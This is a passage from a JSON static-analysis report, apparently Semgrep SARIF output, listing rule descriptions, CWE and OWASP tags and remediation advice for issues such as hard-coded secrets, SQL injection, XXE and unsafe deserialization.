[https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","id":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","name":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"help":{"markdown":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager)\n - [https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https](https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https)\n","text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","id":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","name":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","id":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","name":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","id":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","name":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","id":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","name":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli)\n - [https://github.com/brianmario/mysql2](https://github.com/brianmario/mysql2)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","id":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","name":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","id":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","name":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","id":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","name":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","id":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","name":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","id":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","name":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"help":{"markdown":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n","text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","id":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","name":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"help":{"markdown":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token)\n - [https://docs.djangoproject.com/en/4.2/howto/csrf/](https://docs.djangoproject.com/en/4.2/howto/csrf/)\n","text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"helpUri":"https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token","id":"python.django.security.django-no-csrf-token.django-no-csrf-token","name":"python.django.security.django-no-csrf-token.django-no-csrf-token","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-no-csrf-token.django-no-csrf-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"help":{"markdown":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this","id":"cpp.lang.correctness.sizeof-this.sizeof-this","name":"cpp.lang.correctness.sizeof-this.sizeof-this","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-this.sizeof-this"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","id":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","name":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"help":{"markdown":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service)\n - [https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir](https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir)\n - [https://blog.atomist.com/security-of-docker-kubernetes/](https://blog.atomist.com/security-of-docker-kubernetes/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only)\n","text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","id":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","name":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"help":{"markdown":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","id":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","name":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: 